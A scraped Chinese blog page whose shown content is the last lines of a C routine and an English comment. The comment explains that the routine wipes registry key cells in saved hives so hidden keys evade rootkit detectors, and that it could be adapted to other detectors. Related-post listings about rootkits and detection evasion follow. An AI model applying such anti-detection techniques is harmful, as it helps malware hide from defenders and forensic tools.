    /* clean nk itself */
    CleanNK (nk, hbin);
  }
  /* Woot! */
}


Wow. Hope you thought it was worth ploughing through all that! It does a really thorough job, and if for instance your name test returns a match on every single key, you end up with a saved file that is entirely wiped cells from start to finish. There may also be other rootkit detectors that move copies of the hives around in memory, like knlsc13, and it could be adapted to them as well.

i.m

【Window内核驱动开发】——内存映射的基本使用 【我的】Window驱动开发——内存映射的基本使用 作者:zcr214 时间:2016/5/18   内存映射文件可以用于3个不同的目的。 •系统使用内存映射文件,以便加载和执行. exe和DLL文件。这可以大大节省页文件空间和应用程序启动运行所需的时间。 •可以使用内存映射文件来访问磁盘上的数据文件。这使你可以不必对文件执行I/O操作,并且可以不必对文件内容进行缓存。 •可以使用内存 阅读详情

相关推荐

Vivado 2023.1及更早版本永久License全功能解锁:HLS、System Generator等IP核使用详解

本文深入解析Vivado 2023.1及更早版本的全功能许可证,详细指导如何解锁HLS、System Generator等高级IP核。通过许可证类型对比、功能验证方法和实战应用指南,帮助FPGA开发者充分利用Vivado工具套件,提升复杂系统设计和算法加速的效率。

weixin_31286719的博客 385

简单认识下注册表的HIVE文件格式

作 者:  Sysnap---------------------------------------------目录1 用windbg简单认识下HIVE文件2 用ZwSaveKey生成一个HIVE文件3 ring3来简单解释这个HIVE文件1 用windbg简单认识下HIVE文件物理上的HIVE文件1 注册表是由许多个HIVE文件组成的2 一个HIVE文件由许多个BIN组成,一般一个HIVE文件

1363

S32DS 3.5.8离线包怎么用?保姆级教程教你手动安装S32K3开发环境(附资源下载)

本文详细介绍了S32DS 3.5.8离线包的安装方法,适用于S32K3开发环境的手动搭建。从资源获取、完整性验证到分步安装指南,提供了全面的离线部署解决方案,特别适合军工/车企内网开发等场景。文章还包含版本选择建议、常见问题排查及团队协作方案,帮助开发者高效完成环境配置。

weixin_30471561的博客 480

用Visual studio11在Windows8上开发驱动实现内存填0杀进程

在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。在Windows NT中,存在三种Device Driver: 1.“Virtual devi...

weixin_30279671的博客 168

PTA 编程题(C语言)-- 然后是几点

PTA 编程题(C语言)-- 然后是几点

LCCprogrammer 5079

机器学习篇-KNN算法实现鸢尾花模型和手写数字识别模型

一个样本最相似的k个样本中的大多数属于某一个类别, 则该样本也属于这个类别类似于: 近朱者赤近墨者黑回归机器建模流程:数据获取数据基本处理(空值和非法值)特征工程(特征提取, 特征预处理(归一化, 标准化), 特征降维, 特征选择, 特征组合)模型训练模型预测模型评估# 1. 定义函数 dm01_load_iris(), 用于加载 鸢尾花数据集, 并简单查看下数据集的各部分.# 1. 加载数据集.​# 2. 打印iris_data, 发现其实是1个: 字典.​。

m0_60916732的博客 2408

c语言view用法,MapViewOfFile的用法

从程序输出的结果来看,你的程序运行的完全正确,就是说,是按照源代码运行的,但你的本意可能并非如此。你要映射的文件内容是11 22 33 44。 你可能想象运行后应该是22 11 33 44。但按照程序运行下来,结果确实应该是2 3311 2。解释:11 22 33 44是键盘输入的吧。文件是用某个文本编辑程序做的吧。计算机里保存的文件是按二进制编码的,文本文件的字符也不例外。在这个文件中,11 2...

weixin_27153203的博客 2865

SAP中成本估算没有找到工艺路线消息处理实例

在针对成品的标准成本核算处理过程中,系统中会经由设定好的策略来收集成品相关成本组成,最终计算出产成品的标准成本。关于成本组成,可以归纳为三个基本要素,料,工,费。即标准成本就是要知道,生产一件成品,需要消耗多少钱的原材料?消耗多少钱的人工?以及其它的间接消耗? 某日,接到CO同事的反馈,在用CK11N做产成品标准价格核算时,提示没有工艺路线确定,但该消息为绿灯,可以通过。基于业务上的谨慎,提出分析。 从提示可以看出问题与工艺路线有关。因为,成品工艺路线中设定有成品生产所耗工时,所以,在计算产成品标准

专注SAP应用技术文章写作,致力于拉近用户与系统间的距离; 6280

windows 物理内存获取

由于我一般使用的虚拟内存, 有时我们需要获取到物理内存中的数据(也就是内存条中的真实数据), 按理说是很简单,打开物理内存,读取就可以了.但似乎没这么简单: [cpp] view plain copy print? #include"windows.h" //定义相应的变量类型,见ntddk.h typedefLONG...

813

移远EC20模块USB模式切换的底层逻辑与驱动适配探秘

本文深入探讨了移远EC20模块USB模式切换的底层逻辑与驱动适配机制,详细解析了AT命令控制下的USB0与WWAN0模式差异。通过分析USB协议栈、内核驱动框架及网络子系统的交互,提供了模式切换的完整操作流程和常见问题解决方案,助力开发者优化4G通信模块在嵌入式设备中的稳定连接。

cc789的博客 845

【SA8155P】AIS Camera相关内容的简单介绍

【SA8155P】AIS Camera相关内容的简单介绍

静谧、淡雅 1706

How to avoid the detection of hidden regkey by hooking RegSaveKeyA

How to avoid the detection of hidden regkey by hooking RegSaveKeyA By: EiNSTeiN_How it works:Many hidden-regkey-detection tools detect hidden stuff by dumping someregistry hives to a file and then com

FreeXploiT 2020

uniapp - 实现手机端H5网页直播功能效果,拿到后端推流地址或播放资源后进行前端的流畅播放和画面展示功能,uniapp实时推流/拉流直播系统详细教程(提供完整示例代码,一键复制开箱即用!)

uniapp,h5网页,手机端H5网页,uniapp h5直播功能页面,uniapp直播实时推送显示,uniapp h5直播怎么做,怎么使用uniapp去实现移动端手机H5直播,h5 vue+uniapp怎么做直播,uniapp中使用videojs构建H5直播播放器,uniappH5端怎么实现直播推流,uniapp如何实现直播,直播聊天功能,h5平台端直播用什么插件,uniapp手机网页直播用什么组件插件播放器,uniapp手机H5直播播放器详细教程,直播项目,怎么使用vue+uniapp怎么做H5实时直播

✅ 精选推荐文章 8794

zzzevazzz给出的是好东东

zzzevazzz给出的是好东东,不放上来可惜:改了调用pfnMemcpy处蓝屏的代码.直接调用memcpy. Thank for your share...//************************************************************************// Ring0Demo.c v1.0 by zzzEVAzzz// 目的:演示无驱动执行Ri

1479

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

TDSS

* TDSS. Rootkit 技术           o 一切的开始: TDL-1           o TDL-2: 这场游戏还在继续           o TDL-3: 故事是否终结?     * TDSS 在线           o The “Partnerka”           o AffId           o 链接           o C&C

zacklin的专栏 9135

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

驱动内存映射文件

驱动内存映射文件,一切尽在代码中,各位老爷请看:       // 内存映射文件,返回基址 // 用完记得ZwUnmapViewOfSection(ZwCurrentProcess(), BaseAddress); PVOID CreateMapFileAndGetBaseAddr(PUNICODE_STRING FilePath, PSIZE_T Size) { #define SE...

liwen930723的专栏 1417

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

分享比较完整的ROOTKIT DEMO!

 作 者: embedlinux(E-mail:hqulyc@126.com  QQ:5054-3533)时 间: 2008-08-05链 接: http://bbs.pediy.com/showthread.php?p=492361#post492361这里写的ROOTKIT比较简单(有些代码是消化别人的代码后改写过来的),高手跳过.......包含以下内容:(详细请看源代码)SSDT Hook

2391

Nt内核函数大全

Nt内核函数大全 NtLoadDriver 服务控制管理器加载设备驱动. NtUnloadDriver 服务控制管理器支持卸载指定的驱动程序. NtRegisterNewDevice 加载新驱动文件. NtQueryIntervalProfile 返回数据. NtSetIntervalProfile 指定采样间隔. NtStartProfile 开始取样. NtStopProfile 停止采样...

huang714的专栏 1936

Nt系列函数

转:http://blog.sina.com.cn/s/blog_4a1acc7f0100cfuc.html         83   4B 0007C008 NlsAnsiCodePage          84   4C 0007C010 NlsMbCodePageTag          85   4D 0007C018 NlsMbOemCodePageTag          86   ...

huanongying131的博客 2787

Zw 系列函数

转:http://blog.sina.com.cn/s/blog_4a1acc7f0100cfud.html      896  37F 0000D379 ZwAcceptConnectPort         897  380 0000D38E ZwAccessCheck         898  381 0000D3A3 ZwAccessCheckAndAuditAlarm         ...

huanongying131的博客 4066

C++ 入门笔记(十七):list 入门 —— 为什么 list 不能 sort?

第17课:用大白话讲清 list 的双向链表结构、哨兵头、push_back 四步、迭代器封装、merge 与 splice 的区别,以及 vector 排序为什么常比 list 快。

wo_jack的博客 251

【C++】【STL】list_OJ题

本文系统解析了8道C++链表经典OJ题,按“算数操作”与“指针重连”分为两组,强调指针操作与数据结构解耦的重要性。通过手写ListNode、std::list及带头双向循环链表三类载体验证算法普适性,重点剖析空链、单节点、全相同值等6类边界情况,并给出统一编译与调试方案(g++11 + -Wall -O2),确保零告警、可追踪。所有题目时间复杂度均为O(N),常数差异源于遍历次数与操作开销,代码实现兼顾正确性与面试可用性。

这里是Cocatrice的博客,感谢大家一直以来的支持和鼓励,如果对C/C++方向感兴趣的话,可以通过主页的微信名片加Cocatrice的好友,也可以通过邮箱:Chen31980094@163.com 联系,一同加油! 1593

list

的底层是双向链表结构,双向链表中每个元素存储在互不相关的独立节点中,在节点中通过指针指向其前一个元素和后一个元素。,因此反向迭代器的实现可以借助正向迭代器,即:反向迭代器内部可以包含一个正向迭代器,对正向迭代器的接口进行包装即可。是可以在常数范围内在任意位置进行插入和删除的序列式容器,并且该容器可以前后双向迭代。迭代到该位置,在这段位置上迭代需要线性的时间开销;最大的缺陷是不支持任意位置的随机访问,比如:要访问。还需要一些额外的空间,以保存每个节点的相关联信息。个元素,必须从已知的位置。

xie0510_的博客 293

Redis 数据类型详解:Hash 哈希与 List 列表

大 key 指单个 key 对应的 value 过大(如 Hash 字段数极多、List 元素极多)。危害包括:单次全量命令(

2303_77004089的博客 125
上一篇: Black Hat Federal 2006
下一篇: OmegacmLabs: “Firewalls. Outpost Firewall Pro
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值